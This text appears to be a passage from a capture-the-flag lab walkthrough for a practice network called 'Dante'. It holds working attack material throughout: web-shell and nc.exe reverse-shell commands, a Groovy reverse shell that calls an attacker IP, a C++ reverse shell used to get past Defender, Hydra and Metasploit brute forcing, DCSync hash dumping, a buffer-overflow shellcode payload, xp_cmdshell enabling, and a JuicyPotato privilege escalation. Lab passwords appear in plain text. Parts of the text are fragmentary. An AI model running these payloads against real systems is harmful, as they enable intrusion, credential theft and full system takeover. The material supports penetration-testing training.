root@10.10.110.100:/var/www/html/nc.exe
http://172.16.1.45/elearning/admin/uploads/shell.php?cmd=powershell wget
172.16.1.100/nc.exe -o nc.exe
Next, stand up a listener on port 1234 on the host DANTE-WEB-NIX01 , and run the command
below.
nc -lvnp 1234
http://172.16.1.45/elearning/admin/uploads/shell.php?cmd=nc.exe -e cmd.exe 1234
172.16.1.100
This failed, possibly due to the presence of Windows Defender on the system. We can use the C++
reverse shell promotheus.cpp to bypass it. Before compiling the exploit, change the IP address
and port in the code.
...
else {
char host[] = "10.10.14.2";
int port = 1234;
RunShell(host, port);
}
...
Repeat the steps above and execute prometheus.exe from the web shell.
This is successful and we have upgraded to a proper shell on the host WS04 . The flag can be
found in the leroy home directory.
Auto-fail
As with the .bash_history file in Linux machines, the PowerShell equivalent is enabled by
default starting with PowerShell v5 on Windows 10. This feature stores commands typed by the
user in a file, whose default location is:
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt . Let's
check the contents of this file.
We see that the user leroy ran a PowerShell script with the Administrator credentials. Let's
reuse these credentials on the RDP service.
This is successful, and we have gained admin access to WS04 . The flag is on the administrator
desktop.
Update the policy!
We can scan the host 172.16.1.101 next.
Nmap reveals that the host has several ports open, including FTP. Let's connect to it with the ftp
utility.
This reveals a FileZilla Server, version 0.9.60 beta . This doesn't seem to have any known
vulnerabilities. After installing FileZilla Server locally, we also confirm that the lockout policy isn't
enabled by default. From our earlier enumeration, we have a list of usernames and passwords.
Let's bruteforce the FTP service using hydra or Metasploit's ftp_login auxiliary module.
proxychains msfconsole
use auxiliary/scanner/ftp/ftp_login
set PASS_FILE passwords.txt
set USER_FILE users.txt
set RHOSTS 172.16.1.101
run
This identified valid credentials. We can login to FTP using dharding / WestminsterOrange5 .
It's similar to your FTP password, but with a different number (ie. not 5!)
thanks,
James
The note says that the account password for dharding was changed to have a different number.
Let's create a simple wordlist containing WestminsterOrange0 to WestminsterOrange10 .
Next, we can use CrackMapExec to bruteforce the Windows Remote Management (WinRM) login.
CrackMapExec identified that the credentials dharding / WestminsterOrange10 are valid. Let's
login to the host using Evil-WinRM.
There's an IObit folder present in Program Files (x86) . The History.txt reveals that the
version of the software 9.5 , which is found to be vulnerable to an Unquoted Service Path attack.
Let's verify the vulnerability by checking the service binary path of IObitSVC .
The BINARY_PATH_NAME isn't encapsulated in quotes. It is running as the SYSTEM account. We can
view the service permissions using the Sysinternals utility Accesschk. Upload the binary to the host
and issue the following command enumerate the permissions.
The user doesn't have privileges to interact with Service Control Manager in order to enumerate
the service permissions. Let's run winPEAS which also checks for permissions on services.
The tool shows we don't have permissions to modify any service. Let's try using Get-ServiceACL
PowerShell script.
.\Get-ServiceAcl.ps1
"IObitUnSvr" | Get-ServiceAcl | select -ExpandProperty Access
The ServiceRights shows that dharding can Start and Stop the service. It also shows that
the user can change the configuration of the service, as shown by the ChangeConfig right. This
validates the vulnerability. This can be exploited by updating the BINARY_PATH_NAME to an
arbitrary path.
upload nc.exe
Next, modify the binary path for the IObit service to spawn a reverse shell.
passive
get flag.txt
SMB NULL sessions aren't enabled, so the Eternal Blue exploit doesn't work as we don't have valid
credentials for the machine. The host also has mountd service running. It is a Network File System
(NFS) that allows users to access files across a network and treat them as if they resided in a local
file directory. Let's enumerate mountable drives using showmount utility.
There doesn't seem to be anything interesting on the NFS service. The flag suggests to check for
other hosts. Let's head back to DC01 and perform a ping sweep to identify if there are any other
interesting hosts on the 172.16.2.0/24 subnet.
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.2.5
set THREADS 10
run
The port scan reveals many ports. The host exposes DNS, Kerberos and LDAP services, which
indicates that the host is likely a domain controller.
As we have list of usernames from previous enumeration, let's attempt to identify the valid
domain users using kerbrute.
Let's check if jbercov has the Do not require kerberos preauthentication property set by
using GetNPUsers script.
After saving this to a file it can be cracked using John The Ripper, revealing the password
myspace7 .
Shell access as jbercov is obtained on DANTE-DC02 . The flag can be found on the desktop.
One misconfig to rule them all
Bloodhound can be used to enumerate and visualise an Active Directory environment, in order to
identify possible attack chains that would allow us to elevate our domain privileges. Active
Directory contains objects such as user and computer accounts, groups and other data.
Sometimes, due to misconfigurations or overly privileged accounts, it is possible to leverage
object-to-object control in an attack chain that allows us to derive domain admin privileges.
The SharpHound collector can be used to collect data from Active Directory. We can then ingest
this data in BloodHound , in order to visualise any available attack paths. First, upload
SharpHound.ps1 to the host using the upload command.
upload SharpHound.ps1
import-module .\SharpHound.ps1
SharpHound supports a number of different collection methods for enumerating different aspects
of Active Directory. Let's run it using All collection method, which includes all methods apart
from GPOLocalGroup.
Download the file so we can import the data for ingestion by BloodHound.
download 20200811054926_BloodHound.zip
Issue the below commands to start the Neo4j service and run BloodHound.
Login to BloodHound using the default credentials neo4j / neo4j , and drop the zip file into the
application for analysis.
BloodHound provides an overview of the users, computers, groups, sessions and ACLs in the
domain. Data consists of Nodes that represent principals and other objects in Active Directory,
and Edges, which are links representing some form of object-to-object control or privileges. On
the Queries tab, we can find some common inbuilt Cipher queries. Click on Find Principals
with DCSync Rights . We note that node JBERCOV@DANTE.ADMIN is connected with the
DANTE.ADMIN node, via the GetChangesAll edge.
Right-click on the edge and then click Help , in order to display the attack overview and abuse
information. We see that jbercov is capable of dumping password hashes from the Domain
Controller by using a DCSync attack.
Impacket's secretsdump.py can be used to perform this attack.
This script cab extract the NTLM hashes for all domain users, using the replication privileges. Run
the command below to dump the password hash of the primary domain administrator.
Having successfully extracted the hash of the administrator, we can perform a Pass The Hass
attack using metasploit. First, let's forward the necessary ports in our meterpreter session.
This file reveals credentials for a Jenkins server. Add them to our notes and move on.
This is successful and we can gain the flag after clicking the FLAG_HERE job description.
We're going in circles
Jenkins features a Groovy script console, which allows running arbitrary Groovy scripts within the
Jenkins master or agent runtimes. As we've obtained admin access to the Jenkins server, we can
access the Script Console by navigating to "Manage Jenkins" > "Script Console". This is also at
the well-known path /script . This allows us to execute arbitrary code on the host itself, which
we can use to gain a reverse shell.
Let's stand up a listener on port 8888 and input the following into the script console window.
String host="10.10.14.2";
int port=8888;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket
s=new Socket(host,port);InputStream
pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.
read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread
.sleep(50);try {p.exitValue();break;}catch (Exception e)
{}};p.destroy();s.close();
A shell as jenkins obtained on DANTE-NIX07 . Let's monitor running processes using pspy.
This shows that the root user is logging into MySQL as ian , and password is being passed on the
command line. Let's switch to the ian user.
ian user is part of disk group. This group gives full access to any block devices contained within
/dev/ . Let's check the mounted disks.
The root file system is mounted on /dev/sda5 , and the disk group has full read and write
privileges to it. Let's use debugfs to enumerate the entire disk with root-level privileges.
debugfs /dev/sda5
This reveals a host that is reachable from DANTE-ADMIN-DC02 . Let's route the traffic to the
identified host.
We can now run the portscan/nmap auxiliary scanner module against 172.16.2.101 .
use auxiliary/scanner/portscan/nmap
set rhosts 172.16.2.101
set threads 20
run
The port scan reveals that the host has port 22 (SSH) open. Let's forward the port to our machine.
We can now attempt an online brute force attack against the SSH service using the previously
obtained credentials. Hydra can be used to bruteforce services like SSH, FTP and HTTP.
hydra -L users.txt -P passwords.txt ssh://127.0.0.1:7778
The credentials julian / manchesterunited are reported as valid, which we use to get an SSH
shell on DANTE-ADMIN-NIX05 as julian .
Enumerating the host for setuid binaries, we see a readfile file in /usr/sbin , which is owned
by root .
It doesn't seem to be working. Let's copy the binary to our machine for further analysis.
Looking at the main function, we see that the binary checks if an argument is provided. It then
sets the real, effective and saved user or group ID to the root user. We also see that the
vulnerable strcpy() function is used, which copies user input param_2 to the local_58 buffer
that is 80 bytes in length. This results in a buffer overflow if user input is more than 80 bytes, and
can be leveraged to obtain root access on the host.
The host also has gdb installed. Let's use it to open the readfile binary.
gdb readfile
gdb also has the peda plugin configured, which has many useful features. Further information on
it can be found here. Let's check for enabled security features using checksec .
NX and CANARY are disabled, which means the stack is executable and stack cookies to detect
overflows are not present on the stack.
ASLR (Address Space Layout Randomization) randomizes the base of the libraries (libc) so that the
memory address of libc functions changes on each run. ASLR is set to 0, which means the
addresses of the stack stay the same.
PIE (Positional Independent Executable) is enabled and it is like ASLR. It randomizes the base
address but in this case for the binary itself. This makes it difficult for us to use gadgets or
functions in the binary.
As the stack is executable, there's no need to use gadgets or functions from the binary, and
overwriting GOT entries is also not required. PIE and RELRO can be ignored in our case.
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAA<SNIP>'
The offset found from the pattern search is 88 . Run the binary again with the pattern below, to
see if we can control the flow.
The stack pointer is now filled with B's which means we are able to control the flow of execution.
We can replace Bs with an address pointing to the location of our shellcode. The 64-bit shellcode
to call /bin/sh can be taken from here. Run the binary again with the pattern below.
gdb-peda$ r $(python2 -c 'print
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x
52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*(88-27) + "B"*6')
In gdb, to find memory contents at a given address requires a specified format. x represents the
hex format. Let's examine 120 bytes of stack memory by issuing the command below.
x/120x $rsp
The shellcode isn't visible. We can view the previous memory contents by subtracting RSP with 200
bytes.
x/120x $rsp-200
The shellcode is present in the second octet in the memory representation. The very next address
is 0x7fffffffe378 . We can calculate the shellcode address by removing 8 bytes from the next
address, 0x7fffffffe370 .
As gdb stores environment variables on the stack, the address of the shellcode is different outside
of gdb. The correct address can be achieved by bruteforcing the last two bytes in the address but
that's not reliable.
We can perform the same attack by storing our shellcode in the env variable, and can then point
the stack to the address of this variable.
The address of the SHELLCODE variable can be obtained with the code below.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n",
argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
It accepts two arguments and obtains the SHELLCODE variable address using a getenv() call.
Let's compile the code.
We can now obtain the address by issuing the command. This address varies from binary to
binary.
for i in {1..255} ;do (ping -c 1 172.16.2.$i | grep "bytes from"|cut -d ' ' -
f4|tr -d ':' &);done
We see a new host 172.16.2.6 that we haven't came across before. Let's do a port scan on this
host. This can be done either by uploading a static Nmap binary to the host, or with a simple bash
one-liner.
This shows that the host has SSH available. Let's reuse the credentials of the user julian .
This is successful and we obtain shell on DANTE-ADMIN-NIX06 . The flag can be found on the
desktop.
The reveals the SQL Server password for the user Sophie .
Hi Julian
I've put this on your personal desktop as its probably the most secure
place on the network!
Can you please ask Sophie to change her SQL password when she logs in
again? I've reset it to TerrorInflictPurpleDirt996655 as it stands, but
obviously this is a tough one to remember
Thanks,
James
Let's take a note of the credentials and continue our network enumeration.
It doesn't get any easier than this
We see the plongbottom user is also present on the host DANTE-ADMIN-NIX06 .
We have the password for this user from earlier enumeration . Let's switch to plongbottom using
the password PowerfixSaturdayClub777 .
This user is part of sudo group. We can switch root by issuing the command sudo su .
Our current SQL user is indeed a member of the sysadmin role, which provides administrative
privileges on all server databases and resources, and allows for command execution on the
underlying server using the xp_cmdshell stored procedure. xp_cmdshell is disabled by default.
Let's enable it by issuing the following SQL commands.
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
We can now execute commands on the server. The whoami command reveals that we have
command execution in the context of the default SQL Server service account.
xp_cmdshell "whoami"
This can be use to get a shell on the server. Let's use the Invoke-PowerShellTcp script, adding the
following line to the end of the script.
Next, stand up a Python web server on port 80 and a Netcat listener on port 4444.
python3 -m http.server 80
nc -lvnp 4444
# Work in progress database backup script. Adapting from mysql backup script.
Does not work yet. Do not use.
$password = 'Alltheleavesarebrown1'
$user = 'sophie'
$cred = New-Object System.Net.NetworkCredential($user, $password, "")
<SNIP>
The comments in the file mention that the script doesn't work. However, against best practices, it
includes unencrypted credentials for the user sophie . Let's try to login to WinRM as this user.
This can be exploited in multiple ways. Let's upload the juicypotato binary to the host. The exploit
requires a valid CLSID, which can be obtained from here. We can choose any belonging to the NT
AUTHORITY\SYSTEM account, such as winmgmt .
Next, start a Netcat listener locally on port 8888 and run the exploit by issuing below commands.
upload nc.exe
.\JuicyPotato.exe -t * -p c:\windows\system32\cmd.exe -a "/c
c:\users\sophie\documents\nc.exe -e cmd.exe 10.10.14.2 8888" -l 1337 -c "
{8BC3F05E-D86B-11D0-A075-00C04FB68820}"
This is successful and a shell as nt authority\system is received on DANTE-SQL01 . The flag can
be found on the administrator desktop.